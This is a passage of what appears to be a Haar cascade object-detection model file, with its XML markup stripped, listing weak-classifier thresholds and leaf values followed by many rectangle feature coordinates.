2.1426899731159210e-01 -1.3811139762401581e-01 + + + <_> + + 0 -1 977 -1.6732690855860710e-02 + + + 2.6550260186195374e-01 -4.3911330401897430e-02 + + + <_> + + 0 -1 978 4.9277010839432478e-04 + + + 2.1104559302330017e-02 -4.2971360683441162e-01 + + + <_> + + 0 -1 979 -3.6691110581159592e-02 + + + 5.3992420434951782e-01 -4.3648801743984222e-02 + + + <_> + + 0 -1 980 1.2615970335900784e-03 + + + -1.2933869659900665e-01 1.6638770699501038e-01 + + + <_> + + 0 -1 981 -8.4106856957077980e-03 + + + -9.4698411226272583e-01 2.1465849131345749e-02 + + + <_> + + 0 -1 982 6.4902722835540771e-02 + + + -7.1727760136127472e-02 2.6613479852676392e-01 + + + <_> + + 0 -1 983 3.0305000022053719e-02 + + + -8.2782492041587830e-02 2.7694320678710938e-01 + + + <_> + + 0 -1 984 2.5875340215861797e-03 + + + -1.2966169416904449e-01 1.7756630480289459e-01 + + + <_> + + 0 -1 985 -7.0240451022982597e-03 + + + -6.4243179559707642e-01 3.9943210780620575e-02 + + + <_> + + 0 -1 986 -1.0099769569933414e-03 + + + 1.4176610112190247e-01 -1.1659970134496689e-01 + + + <_> + + 0 -1 987 -4.1179071558872238e-05 + + + 1.5687669813632965e-01 -1.1127340048551559e-01 + + + <_> + + 0 -1 988 -4.7293151146732271e-04 + + + -3.3554559946060181e-01 4.5977730304002762e-02 + + + <_> + + 0 -1 989 -1.7178079579025507e-03 + + + 1.6952909529209137e-01 -1.0578069835901260e-01 + + + <_> + + 0 -1 990 -1.3333169743418694e-02 + + + -5.8257812261581421e-01 3.0978430062532425e-02 + + + <_> + + 0 -1 991 -1.8783430568873882e-03 + + + 1.4266879856586456e-01 -1.1131259799003601e-01 + + + <_> + + 0 -1 992 -6.5765981562435627e-03 + + + 2.7561360597610474e-01 -5.3100328892469406e-02 + + + <_> + + 0 -1 993 -7.7210381277836859e-05 + + + 1.3240240514278412e-01 -1.1167799681425095e-01 + + + <_> + + 0 -1 994 2.1968539804220200e-02 + + + -2.6968160644173622e-02 5.0067168474197388e-01 + + + <_> + + 0 -1 995 -2.7445750311017036e-02 + + + -2.4086740612983704e-01 6.0478270053863525e-02 + + + <_> + + 0 -1 996 7.8305849456228316e-05 + + + -1.3334889709949493e-01 1.0123469680547714e-01 + + + <_> + + 0 -1 997 7.0190683007240295e-02 + + + -5.4863780736923218e-02 2.4809940159320831e-01 + + + <_> + + 0 -1 998 -7.1902133524417877e-02 + + + -3.7846690416336060e-01 4.2210999876260757e-02 + + + <_> + + 0 -1 999 -1.0780979692935944e-01 + + + -3.7486588954925537e-01 4.2833440005779266e-02 + + + <_> + + 0 -1 1000 1.4364200178533792e-03 + + + 8.0476358532905579e-02 -1.7263789474964142e-01 + + + <_> + + 0 -1 1001 6.8289190530776978e-02 + + + -3.5595789551734924e-02 4.0761318802833557e-01 + + + <_> + + 0 -1 1002 -6.8037179298698902e-03 + + + 1.9233790040016174e-01 -8.2368023693561554e-02 + + + <_> + + 0 -1 1003 -5.6193489581346512e-04 + + + 1.3057120144367218e-01 -1.4355149865150452e-01 + + + <_> + + 0 -1 1004 -5.8276649564504623e-02 + + + -3.0125439167022705e-01 5.2819650620222092e-02 + + + <_> + + 0 -1 1005 -6.1205718666315079e-03 + + + 2.2043900191783905e-01 -7.5691752135753632e-02 + + + <_> + + 0 -1 1006 -1.3594309799373150e-02 + + + -3.9049360156059265e-01 4.1857108473777771e-02 + + + <_> + + 0 -1 1007 1.3626200379803777e-03 + + + -9.5363423228263855e-02 1.4970320463180542e-01 + + + <_> + + 0 -1 1008 -1.5074219845701009e-04 + + + -2.3945580422878265e-01 6.4798332750797272e-02 + + + <_> + + 0 -1 1009 -7.7414259314537048e-02 + + + 5.5941981077194214e-01 -2.4516880512237549e-02 + + + <_> + + 0 -1 1010 9.2117872554808855e-04 + + + 5.4928861558437347e-02 -2.7934810519218445e-01 + + + <_> + + 0 -1 1011 1.0250780032947659e-03 + + + -6.2167309224605560e-02 2.4976369738578796e-01 + + + <_> + + 0 -1 1012 -8.1174750812351704e-04 + + + 2.3437939584255219e-01 -6.5725810825824738e-02 + + + <_> + + 0 -1 1013 8.3431020379066467e-02 + + + 5.0954800099134445e-02 -3.1020981073379517e-01 + + + <_> + + 0 -1 1014 -9.2014456167817116e-03 + + + -3.9242538809776306e-01 3.2926950603723526e-02 + + + <_> + + 0 -1 1015 -2.9086650465615094e-04 + + + -3.1039750576019287e-01 4.9711819738149643e-02 + + + <_> + + 0 -1 1016 7.7576898038387299e-03 + + + -4.4040750712156296e-02 3.6431351304054260e-01 + + + <_> + + 0 -1 1017 -1.2466090172529221e-01 + + + -8.1957077980041504e-01 1.9150640815496445e-02 + + + <_> + + 0 -1 1018 1.3242550194263458e-02 + + + 3.8988839834928513e-02 -3.3230680227279663e-01 + + + <_> + + 0 -1 1019 -6.6770128905773163e-03 + + + -3.5790139436721802e-01 4.0460210293531418e-02 + + + <_> + + 0 -1 1020 -2.7479929849505424e-03 + + + 2.5253900885581970e-01 -5.6427821516990662e-02 + + + <_> + + 0 -1 1021 8.2659651525318623e-04 + + + -7.1988657116889954e-02 2.2780479490756989e-01 + + + <_> + + 0 -1 1022 -5.0153400748968124e-02 + + + -6.3036471605300903e-01 2.7462050318717957e-02 + + + <_> + + 0 -1 1023 7.4203149415552616e-03 + + + -6.6610716283321381e-02 2.7787339687347412e-01 + + + <_> + + 0 -1 1024 -6.7951780511066318e-04 + + + -3.6327061057090759e-01 4.2795430868864059e-02 + + + <_> + + 0 -1 1025 -1.9305750029161572e-03 + + + 1.4196230471134186e-01 -1.0759980231523514e-01 + + + <_> + + 0 -1 1026 -3.8132671033963561e-04 + + + 2.1591760218143463e-01 -7.0202663540840149e-02 + + + <_> + + 0 -1 1027 -7.0990346372127533e-02 + + + 4.5266601443290710e-01 -4.0750481188297272e-02 + + + <_> + + 0 -1 1028 -5.3368080407381058e-02 + + + -6.7674058675765991e-01 1.9288340583443642e-02 + + + <_> + + 0 -1 1029 -2.0064849406480789e-02 + + + -4.3365430831909180e-01 3.1853288412094116e-02 + + + <_> + + 0 -1 1030 1.1976360110566020e-03 + + + -2.6559870690107346e-02 5.0797182321548462e-01 + + + <_> + + 0 -1 1031 -2.2697300300933421e-04 + + + 1.8012599647045135e-01 -8.3606548607349396e-02 + + + <_> + + 0 -1 1032 1.5262699685990810e-02 + + + -2.0238929986953735e-01 6.7422017455101013e-02 + + + <_> + + 0 -1 1033 -2.0811769366264343e-01 + + + 6.6943860054016113e-01 -2.2452110424637794e-02 + + + <_> + + 0 -1 1034 1.5514369588345289e-03 + + + -7.5121842324733734e-02 1.7326919734477997e-01 + + + <_> + + 0 -1 1035 -5.2924010902643204e-02 + + + 2.4992519617080688e-01 -6.2879167497158051e-02 + + + <_> + + 0 -1 1036 -2.1648850291967392e-02 + + + -2.9194280505180359e-01 5.2614491432905197e-02 + + + <_> + + 0 -1 1037 -2.2905069636180997e-04 + + + -2.2117300331592560e-01 6.3168339431285858e-02 + + + <_> + + 0 -1 1038 5.0170070608146489e-05 + + + -1.1510709673166275e-01 1.1611440032720566e-01 + + + <_> + + 0 -1 1039 -1.6416069411206990e-04 + + + 1.5871520340442657e-01 -8.2600601017475128e-02 + + + <_> + + 0 -1 1040 -1.2003289535641670e-02 + + + 1.2218090146780014e-01 -1.1229699850082397e-01 + + + <_> + + 0 -1 1041 -1.7784100025892258e-02 + + + -3.5072788596153259e-01 3.1341921538114548e-02 + + + <_> + + 0 -1 1042 -6.3457582145929337e-03 + + + 1.3078069686889648e-01 -1.0574410110712051e-01 + + + <_> + + 0 -1 1043 -7.9523242311552167e-04 + + + 1.7204670608043671e-01 -8.6001992225646973e-02 + + + <_> + + 0 -1 1044 -3.1029590172693133e-04 + + + -2.8433170914649963e-01 5.1817119121551514e-02 + + + <_> + + 0 -1 1045 -1.7053710296750069e-02 + + + 3.9242428541183472e-01 -4.0143270045518875e-02 + + + <_> + + 0 -1 1046 4.6504959464073181e-03 + + + -3.1837560236454010e-02 4.1237699985504150e-01 + + + <_> + + 0 -1 1047 -1.0358760133385658e-02 + + + -5.6993198394775391e-01 2.9248379170894623e-02 + + + <_> + + 0 -1 1048 -2.2196240723133087e-02 + + + -4.5605289936065674e-01 2.6285989210009575e-02 + + + <_> + + 0 -1 1049 -7.0536029525101185e-03 + + + 1.5998320281505585e-01 -9.1594859957695007e-02 + + + <_> + + 0 -1 1050 -5.7094299700111151e-04 + + + -1.4076329767704010e-01 1.0287419706583023e-01 + + + <_> + + 0 -1 1051 -2.2152599412947893e-03 + + + 1.6593599319458008e-01 -8.5273988544940948e-02 + + + <_> + + 0 -1 1052 -2.8084890916943550e-02 + + + 2.7022340893745422e-01 -5.5873811244964600e-02 + + + <_> + + 0 -1 1053 2.1515151020139456e-03 + + + 4.2472891509532928e-02 -3.2005849480628967e-01 + + + <_> + + 0 -1 1054 -2.9733829433098435e-04 + + + 1.6177169978618622e-01 -8.5115589201450348e-02 + + + <_> + + 0 -1 1055 -1.6694780439138412e-02 + + + -4.2858770489692688e-01 3.0541609972715378e-02 + + + <_> + + 0 -1 1056 1.1982990056276321e-01 + + + -1.6277290880680084e-02 7.9846781492233276e-01 + + + <_> + + 0 -1 1057 -3.5499420482665300e-04 + + + 1.5935939550399780e-01 -8.3272881805896759e-02 + + + <_> + + 0 -1 1058 -1.8226269632577896e-02 + + + 1.9527280330657959e-01 -7.3939889669418335e-02 + + + <_> + + 0 -1 1059 -4.0238600922748446e-04 + + + 7.9101808369159698e-02 -2.0806129276752472e-01 + + + <_> + + 0 -1 1060 4.0892060496844351e-04 + + + 1.0036630183458328e-01 -1.5128210186958313e-01 + + + <_> + + 0 -1 1061 9.5368112670257688e-04 + + + -7.3011666536331177e-02 2.1752020716667175e-01 + + + <_> + + 0 -1 1062 4.3081799149513245e-01 + + + -2.7450699359178543e-02 5.7061582803726196e-01 + + + <_> + + 0 -1 1063 5.3564831614494324e-04 + + + 1.1587540060281754e-01 -1.2790560722351074e-01 + + + <_> + + 0 -1 1064 2.4430730263702571e-05 + + + -1.6816629469394684e-01 8.0449983477592468e-02 + + + <_> + + 0 -1 1065 -5.5345650762319565e-02 + + + 4.5338949561119080e-01 -3.1222779303789139e-02 + + + + + + + <_> + + <_> + 0 8 20 12 -1. + + <_> + 0 14 20 6 2. + + + + <_> + + <_> + 9 1 4 15 -1. + + <_> + 9 6 4 5 3. + + + + <_> + + <_> + 6 10 9 2 -1. + + <_> + 9 10 3 2 3. + + + + <_> + + <_> + 7 0 10 9 -1. + + <_> + 7 3 10 3 3. + + + + <_> + + <_> + 12 2 2 18 -1. + + <_> + 12 8 2 6 3. + + + + <_> + + <_> + 8 6 8 6 -1. + + <_> + 8 9 8 3 2. + + + + <_> + + <_> + 2 0 17 18 -1. + + <_> + 2 6 17 6 3. + + + + <_> + + <_> + 10 10 1 8 -1. + + <_> + 10 14 1 4 2. + + + + <_> + + <_> + 7 10 9 2 -1. + + <_> + 10 10 3 2 3. + + + + <_> + + <_> + 5 1 6 6 -1. + + <_> + 5 3 6 2 3. + + + + <_> + + <_> + 3 1 15 9 -1. + + <_> + 3 4 15 3 3. + + + + <_> + + <_> + 6 3 9 6 -1. + + <_> + 6 5 9 2 3. + + + + <_> + + <_> + 8 17 6 3 -1. + + <_> + 10 17 2 3 3. + + + + <_> + + <_> + 9 10 9 1 -1. + + <_> + 12 10 3 1 3. + + + + <_> + + <_> + 1 7 6 11 -1. + + <_> + 3 7 2 11 3. + + + + <_> + + <_> + 9 18 3 1 -1. + + <_> + 10 18 1 1 3. + + + + <_> + + <_> + 16 16 1 2 -1. + + <_> + 16 17 1 1 2. + + + + <_> + + <_> + 9 17 6 3 -1. + + <_> + 11 17 2 3 3. + + + + <_> + + <_> + 8 0 5 18 -1. + + <_> + 8 6 5 6 3. + + + + <_> + + <_> + 6 7 9 7 -1. + + <_> + 9 7 3 7 3. + + + + <_> + + <_> + 14 6 6 10 -1. + + <_> + 16 6 2 10 3. + + + + <_> + + <_> + 9 8 9 5 -1. + + <_> + 12 8 3 5 3. + + + + <_> + + <_> + 3 7 9 6 -1. + + <_> + 6 7 3 6 3. + + + + <_> + + <_> + 1 7 6 6 -1. + + <_> + 3 7 2 6 3. + + + + <_> + + <_> + 16 0 4 18 -1. + + <_> + 16 6 4 6 3. + + + + <_> + + <_> + 0 17 3 3 -1. + + <_> + 0 18 3 1 3. + + + + <_> + + <_> + 16 0 2 1 -1. + + <_> + 17 0 1 1 2. + + + + <_> + + <_> + 0 8 20 12 -1. + + <_> + 0 14 20 6 2. + + + + <_> + + <_> + 6 6 9 8 -1. + + <_> + 9 6 3 8 3. + + + + <_> + + <_> + 5 3 12 9 -1. + + <_> + 5 6 12 3 3. + + + + <_> + + <_> + 4 16 1 2 -1. + + <_> + 4 17 1 1 2. + + + + <_> + + <_> + 18 10 2 1 -1. + + <_> + 19 10 1 1 2. + + + + <_> + + <_> + 9 8 6 5 -1. + + <_> + 11 8 2 5 3. + + + + <_> + + <_> + 0 0 2 1 -1. + + <_> + 1 0 1 1 2. + + + + <_> + + <_> + 6 8 6 6 -1. + + <_> + 8 8 2 6 3. + + + + <_> + + <_> + 11 7 6 7 -1. + + <_> + 13 7 2 7 3. + + + + <_> + + <_> + 19 14 1 2 -1. + + <_> + 19 15 1 1 2. + + + + <_> + + <_> + 6 17 1 2 -1. + + <_> + 6 18 1 1 2. + + + + <_> + + <_> + 14 7 2 7 -1. + + <_> + 15 7 1 7 2. + + + + <_> + + <_> + 6 8 2 4 -1. + + <_> + 7 8 1 4 2. + + + + <_> + + <_> + 5 8 12 6 -1. + + <_> + 5 10 12 2 3. + + + + <_> + + <_> + 2 17 1 3 -1. + + <_> + 2 18 1 1 3. + + + + <_> + + <_> + 6 7 3 6 -1. + + <_> + 7 7 1 6 3. + + + + <_> + + <_> + 6 7 9 12 -1. + + <_> + 9 7 3 12 3. + + + + <_> + + <_> + 6 2 11 12 -1. + + <_> + 6 6 11 4 3. + + + + <_> + + <_> + 1 12 5 8 -1. + + <_> + 1 16 5 4 2. + + + + <_> + + <_> + 14 7 6 7 -1. + + <_> + 16 7 2 7 3. + + + + <_> + + <_> + 10 8 6 6 -1. + + <_> + 12 8 2 6 3. + + + + <_> + + <_> + 16 18 4 2 -1. + + <_> + 16 19 4 1 2. + + + + <_> + + <_> + 18 17 2 3 -1. + + <_> + 18 18 2 1 3. + + + + <_> + + <_> + 9 7 3 7 -1. + + <_> + 10 7 1 7 3. + + + + <_> + + <_> + 5 6 6 8 -1. + + <_> + 7 6 2 8 3. + + + + <_> + + <_> + 2 6 6 11 -1. + + <_> + 4 6 2 11 3. + + + + <_> + + <_> + 8 10 12 8 -1. + + <_> + 8 14 12 4 2. + + + + <_> + + <_> + 7 17 6 3 -1. + + <_> + 9 17 2 3 3. + + + + <_> + + <_> + 10 9 3 3 -1. + + <_> + 11 9 1 3 3. + + + + <_> + + <_> + 8 8 3 6 -1. + + <_> + 9 8 1 6 3. + + + + <_> + + <_> + 7 0 6 5 -1. + + <_> + 9 0 2 5 3. + + + + <_> + + <_> + 6 17 1 3 -1. + + <_> + 6 18 1 1 3. + + + + <_> + + <_> + 0 18 4 2 -1. + + <_> + 0 19 4 1 2. + + + + <_> + + <_> + 4 1 11 9 -1. + + <_> + 4 4 11 3 3. + + + + <_> + + <_> + 3 1 14 9 -1. + + <_> + 3 4 14 3 3. + + + + <_> + + <_> + 0 9 6 4 -1. + + <_> + 2 9 2 4 3. + + + + <_> + + <_> + 18 13 1 2 -1. + + <_> + 18 14 1 1 2. + + + + <_> + + <_> + 13 5 3 11 -1. + + <_> + 14 5 1 11 3. + + + + <_> + + <_> + 0 18 8 2 -1. + + <_> + 0 18 4 1 2. + + <_> + 4 19 4 1 2. + + + + <_> + + <_> + 5 8 12 5 -1. + + <_> + 9 8 4 5 3. + + + + <_> + + <_> + 4 7 11 10 -1. + + <_> + 4 12 11 5 2. + + + + <_> + + <_> + 14 9 6 4 -1. + + <_> + 16 9 2 4 3. + + + + <_> + + <_> + 0 7 6 8 -1. + + <_> + 3 7 3 8 2. + + + + <_> + + <_> + 0 16 3 3 -1. + + <_> + 0 17 3 1 3. + + + + <_> + + <_> + 7 11 12 1 -1. + + <_> + 11 11 4 1 3. + + + + <_> + + <_> + 4 8 9 4 -1. + + <_> + 7 8 3 4 3. + + + + <_> + + <_> + 5 16 6 4 -1. + + <_> + 7 16 2 4 3. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 4 9 4 10 -1. + + <_> + 4 9 2 5 2. + + <_> + 6 14 2 5 2. + + + + <_> + + <_> + 4 8 6 4 -1. + + <_> + 6 8 2 4 3. + + + + <_> + + <_> + 10 2 2 18 -1. + + <_> + 10 8 2 6 3. + + + + <_> + + <_> + 0 5 8 6 -1. + + <_> + 0 5 4 3 2. + + <_> + 4 8 4 3 2. + + + + <_> + + <_> + 6 0 6 5 -1. + + <_> + 8 0 2 5 3. + + + + <_> + + <_> + 18 0 2 14 -1. + + <_> + 18 7 2 7 2. + + + + <_> + + <_> + 8 18 4 2 -1. + + <_> + 10 18 2 2 2. + + + + <_> + + <_> + 1 17 6 3 -1. + + <_> + 1 18 6 1 3. + + + + <_> + + <_> + 11 8 3 5 -1. + + <_> + 12 8 1 5 3. + + + + <_> + + <_> + 11 8 3 4 -1. + + <_> + 12 8 1 4 3. + + + + <_> + + <_> + 11 0 6 5 -1. + + <_> + 13 0 2 5 3. + + + + <_> + + <_> + 1 7 6 7 -1. + + <_> + 3 7 2 7 3. + + + + <_> + + <_> + 0 13 1 3 -1. + + <_> + 0 14 1 1 3. + + + + <_> + + <_> + 3 2 9 6 -1. + + <_> + 3 4 9 2 3. + + + + <_> + + <_> + 8 6 9 2 -1. + + <_> + 8 7 9 1 2. + + + + <_> + + <_> + 0 14 3 6 -1. + + <_> + 0 16 3 2 3. + + + + <_> + + <_> + 1 11 6 4 -1. + + <_> + 3 11 2 4 3. + + + + <_> + + <_> + 6 9 9 3 -1. + + <_> + 9 9 3 3 3. + + + + <_> + + <_> + 6 0 9 6 -1. + + <_> + 6 2 9 2 3. + + + + <_> + + <_> + 8 5 6 6 -1. + + <_> + 8 7 6 2 3. + + + + <_> + + <_> + 1 12 2 1 -1. + + <_> + 2 12 1 1 2. + + + + <_> + + <_> + 10 10 6 2 -1. + + <_> + 12 10 2 2 3. + + + + <_> + + <_> + 13 8 6 6 -1. + + <_> + 15 8 2 6 3. + + + + <_> + + <_> + 6 16 6 4 -1. + + <_> + 8 16 2 4 3. + + + + <_> + + <_> + 8 0 9 9 -1. + + <_> + 8 3 9 3 3. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 7 10 3 3 -1. + + <_> + 8 10 1 3 3. + + + + <_> + + <_> + 9 14 2 2 -1. + + <_> + 9 14 1 1 2. + + <_> + 10 15 1 1 2. + + + + <_> + + <_> + 9 14 2 2 -1. + + <_> + 9 14 1 1 2. + + <_> + 10 15 1 1 2. + + + + <_> + + <_> + 0 8 19 12 -1. + + <_> + 0 14 19 6 2. + + + + <_> + + <_> + 7 6 9 14 -1. + + <_> + 10 6 3 14 3. + + + + <_> + + <_> + 13 8 3 4 -1. + + <_> + 14 8 1 4 3. + + + + <_> + + <_> + 4 17 1 3 -1. + + <_> + 4 18 1 1 3. + + + + <_> + + <_> + 4 9 6 3 -1. + + <_> + 6 9 2 3 3. + + + + <_> + + <_> + 2 18 5 2 -1. + + <_> + 2 19 5 1 2. + + + + <_> + + <_> + 7 8 2 2 -1. + + <_> + 7 8 1 1 2. + + <_> + 8 9 1 1 2. + + + + <_> + + <_> + 7 8 2 2 -1. + + <_> + 7 8 1 1 2. + + <_> + 8 9 1 1 2. + + + + <_> + + <_> + 5 10 13 2 -1. + + <_> + 5 11 13 1 2. + + + + <_> + + <_> + 10 8 1 9 -1. + + <_> + 10 11 1 3 3. + + + + <_> + + <_> + 15 8 2 12 -1. + + <_> + 15 8 1 6 2. + + <_> + 16 14 1 6 2. + + + + <_> + + <_> + 4 0 3 5 -1. + + <_> + 5 0 1 5 3. + + + + <_> + + <_> + 12 6 3 7 -1. + + <_> + 13 6 1 7 3. + + + + <_> + + <_> + 7 16 6 4 -1. + + <_> + 9 16 2 4 3. + + + + <_> + + <_> + 9 16 2 1 -1. + + <_> + 10 16 1 1 2. + + + + <_> + + <_> + 6 10 9 2 -1. + + <_> + 9 10 3 2 3. + + + + <_> + + <_> + 0 6 15 14 -1. + + <_> + 0 13 15 7 2. + + + + <_> + + <_> + 9 1 5 6 -1. + + <_> + 9 3 5 2 3. + + + + <_> + + <_> + 3 9 3 4 -1. + + <_> + 4 9 1 4 3. + + + + <_> + + <_> + 5 7 3 6 -1. + + <_> + 6 7 1 6 3. + + + + <_> + + <_> + 17 16 1 2 -1. + + <_> + 17 17 1 1 2. + + + + <_> + + <_> + 9 8 6 12 -1. + + <_> + 11 8 2 12 3. + + + + <_> + + <_> + 6 10 6 1 -1. + + <_> + 8 10 2 1 3. + + + + <_> + + <_> + 7 17 9 3 -1. + + <_> + 10 17 3 3 3. + + + + <_> + + <_> + 14 18 6 2 -1. + + <_> + 14 19 6 1 2. + + + + <_> + + <_> + 9 5 3 14 -1. + + <_> + 10 5 1 14 3. + + + + <_> + + <_> + 8 16 9 4 -1. + + <_> + 11 16 3 4 3. + + + + <_> + + <_> + 0 0 4 14 -1. + + <_> + 0 7 4 7 2. + + + + <_> + + <_> + 8 1 6 3 -1. + + <_> + 10 1 2 3 3. + + + + <_> + + <_> + 6 8 3 4 -1. + + <_> + 7 8 1 4 3. + + + + <_> + + <_> + 4 8 3 4 -1. + + <_> + 5 8 1 4 3. + + + + <_> + + <_> + 5 1 6 5 -1. + + <_> + 7 1 2 5 3. + + + + <_> + + <_> + 1 18 1 2 -1. + + <_> + 1 19 1 1 2. + + + + <_> + + <_> + 7 0 6 6 -1. + + <_> + 7 2 6 2 3. + + + + <_> + + <_> + 0 18 4 2 -1. + + <_> + 0 19 4 1 2. + + + + <_> + + <_> + 12 3 8 12 -1. + + <_> + 12 7 8 4 3. + + + + <_> + + <_> + 12 9 3 4 -1. + + <_> + 13 9 1 4 3. + + + + <_> + + <_> + 12 8 3 5 -1. + + <_> + 13 8 1 5 3. + + + + <_> + + <_> + 16 0 2 1 -1. + + <_> + 17 0 1 1 2. + + + + <_> + + <_> + 5 17 1 3 -1. + + <_> + 5 18 1 1 3. + + + + <_> + + <_> + 10 2 3 6 -1. + + <_> + 10 4 3 2 3. + + + + <_> + + <_> + 4 17 2 3 -1. + + <_> + 4 18 2 1 3. + + + + <_> + + <_> + 12 7 1 9 -1. + + <_> + 12 10 1 3 3. + + + + <_> + + <_> + 7 6 3 9 -1. + + <_> + 8 6 1 9 3. + + + + <_> + + <_> + 17 13 3 6 -1. + + <_> + 17 15 3 2 3. + + + + <_> + + <_> + 7 7 3 8 -1. + + <_> + 8 7 1 8 3. + + + + <_> + + <_> + 5 0 3 5 -1. + + <_> + 6 0 1 5 3. + + + + <_> + + <_> + 4 6 9 8 -1. + + <_> + 7 6 3 8 3. + + + + <_> + + <_> + 2 9 3 3 -1. + + <_> + 3 9 1 3 3. + + + + <_> + + <_> + 16 18 4 2 -1. + + <_> + 16 19 4 1 2. + + + + <_> + + <_> + 17 10 3 10 -1. + + <_> + 17 15 3 5 2. + + + + <_> + + <_> + 8 9 6 4 -1. + + <_> + 10 9 2 4 3. + + + + <_> + + <_> + 5 2 10 12 -1. + + <_> + 5 6 10 4 3. + + + + <_> + + <_> + 6 9 6 3 -1. + + <_> + 8 9 2 3 3. + + + + <_> + + <_> + 11 7 3 7 -1. + + <_> + 12 7 1 7 3. + + + + <_> + + <_> + 12 8 6 4 -1. + + <_> + 14 8 2 4 3. + + + + <_> + + <_> + 14 8 6 5 -1. + + <_> + 16 8 2 5 3. + + + + <_> + + <_> + 12 12 2 4 -1. + + <_> + 12 14 2 2 2. + + + + <_> + + <_> + 3 15 1 2 -1. + + <_> + 3 16 1 1 2. + + + + <_> + + <_> + 12 7 3 4 -1. + + <_> + 13 7 1 4 3. + + + + <_> + + <_> + 10 0 6 6 -1. + + <_> + 12 0 2 6 3. + + + + <_> + + <_> + 10 6 3 8 -1. + + <_> + 11 6 1 8 3. + + + + <_> + + <_> + 16 17 1 2 -1. + + <_> + 16 18 1 1 2. + + + + <_> + + <_> + 16 16 1 3 -1. + + <_> + 16 17 1 1 3. + + + + <_> + + <_> + 11 11 1 2 -1. + + <_> + 11 12 1 1 2. + + + + <_> + + <_> + 3 7 6 9 -1. + + <_> + 5 7 2 9 3. + + + + <_> + + <_> + 4 18 9 1 -1. + + <_> + 7 18 3 1 3. + + + + <_> + + <_> + 0 11 4 9 -1. + + <_> + 0 14 4 3 3. + + + + <_> + + <_> + 9 17 6 3 -1. + + <_> + 11 17 2 3 3. + + + + <_> + + <_> + 7 8 6 12 -1. + + <_> + 9 8 2 12 3. + + + + <_> + + <_> + 6 8 3 4 -1. + + <_> + 7 8 1 4 3. + + + + <_> + + <_> + 3 17 1 3 -1. + + <_> + 3 18 1 1 3. + + + + <_> + + <_> + 11 9 6 4 -1. + + <_> + 13 9 2 4 3. + + + + <_> + + <_> + 6 1 3 2 -1. + + <_> + 7 1 1 2 3. + + + + <_> + + <_> + 1 0 2 1 -1. + + <_> + 2 0 1 1 2. + + + + <_> + + <_> + 1 0 2 14 -1. + + <_> + 1 0 1 7 2. + + <_> + 2 7 1 7 2. + + + + <_> + + <_> + 5 5 11 8 -1. + + <_> + 5 9 11 4 2. + + + + <_> + + <_> + 9 3 5 6 -1. + + <_> + 9 5 5 2 3. + + + + <_> + + <_> + 7 9 5 10 -1. + + <_> + 7 14 5 5 2. + + + + <_> + + <_> + 15 10 2 2 -1. + + <_> + 16 10 1 2 2. + + + + <_> + + <_> + 0 18 8 2 -1. + + <_> + 0 19 8 1 2. + + + + <_> + + <_> + 7 17 1 3 -1. + + <_> + 7 18 1 1 3. + + + + <_> + + <_> + 7 2 11 6 -1. + + <_> + 7 4 11 2 3. + + + + <_> + + <_> + 8 3 9 3 -1. + + <_> + 8 4 9 1 3. + + + + <_> + + <_> + 0 9 2 2 -1. + + <_> + 0 10 2 1 2. + + + + <_> + + <_> + 0 5 3 6 -1. + + <_> + 0 7 3 2 3. + + + + <_> + + <_> + 6 7 2 2 -1. + + <_> + 6 7 1 1 2. + + <_> + 7 8 1 1 2. + + + + <_> + + <_> + 7 6 3 6 -1. + + <_> + 8 6 1 6 3. + + + + <_> + + <_> + 12 1 6 4 -1. + + <_> + 14 1 2 4 3. + + + + <_> + + <_> + 9 11 6 8 -1. + + <_> + 11 11 2 8 3. + + + + <_> + + <_> + 17 15 3 3 -1. + + <_> + 17 16 3 1 3. + + + + <_> + + <_> + 6 6 3 9 -1. + + <_> + 6 9 3 3 3. + + + + <_> + + <_> + 0 5 8 6 -1. + + <_> + 0 5 4 3 2. + + <_> + 4 8 4 3 2. + + + + <_> + + <_> + 0 6 1 3 -1. + + <_> + 0 7 1 1 3. + + + + <_> + + <_> + 17 0 2 6 -1. + + <_> + 18 0 1 6 2. + + + + <_> + + <_> + 10 17 6 3 -1. + + <_> + 12 17 2 3 3. + + + + <_> + + <_> + 13 15 2 2 -1. + + <_> + 13 15 1 1 2. + + <_> + 14 16 1 1 2. + + + + <_> + + <_> + 4 0 12 3 -1. + + <_> + 4 1 12 1 3. + + + + <_> + + <_> + 5 3 10 9 -1. + + <_> + 5 6 10 3 3. + + + + <_> + + <_> + 7 7 9 7 -1. + + <_> + 10 7 3 7 3. + + + + <_> + + <_> + 5 8 9 6 -1. + + <_> + 8 8 3 6 3. + + + + <_> + + <_> + 0 16 6 2 -1. + + <_> + 0 17 6 1 2. + + + + <_> + + <_> + 12 6 7 14 -1. + + <_> + 12 13 7 7 2. + + + + <_> + + <_> + 13 7 6 8 -1. + + <_> + 15 7 2 8 3. + + + + <_> + + <_> + 2 10 6 3 -1. + + <_> + 4 10 2 3 3. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 7 1 6 2 -1. + + <_> + 7 2 6 1 2. + + + + <_> + + <_> + 6 0 6 4 -1. + + <_> + 6 2 6 2 2. + + + + <_> + + <_> + 8 18 6 2 -1. + + <_> + 10 18 2 2 3. + + + + <_> + + <_> + 7 6 5 2 -1. + + <_> + 7 7 5 1 2. + + + + <_> + + <_> + 6 7 3 6 -1. + + <_> + 7 7 1 6 3. + + + + <_> + + <_> + 18 18 2 2 -1. + + <_> + 18 18 1 1 2. + + <_> + 19 19 1 1 2. + + + + <_> + + <_> + 16 8 3 7 -1. + + <_> + 17 8 1 7 3. + + + + <_> + + <_> + 0 16 2 3 -1. + + <_> + 0 17 2 1 3. + + + + <_> + + <_> + 5 19 6 1 -1. + + <_> + 7 19 2 1 3. + + + + <_> + + <_> + 9 5 6 6 -1. + + <_> + 9 7 6 2 3. + + + + <_> + + <_> + 0 10 2 4 -1. + + <_> + 0 12 2 2 2. + + + + <_> + + <_> + 0 9 4 3 -1. + + <_> + 2 9 2 3 2. + + + + <_> + + <_> + 1 10 6 9 -1. + + <_> + 3 10 2 9 3. + + + + <_> + + <_> + 9 0 6 2 -1. + + <_> + 11 0 2 2 3. + + + + <_> + + <_> + 14 1 2 1 -1. + + <_> + 15 1 1 1 2. + + + + <_> + + <_> + 0 8 1 4 -1. + + <_> + 0 10 1 2 2. + + + + <_> + + <_> + 15 6 2 2 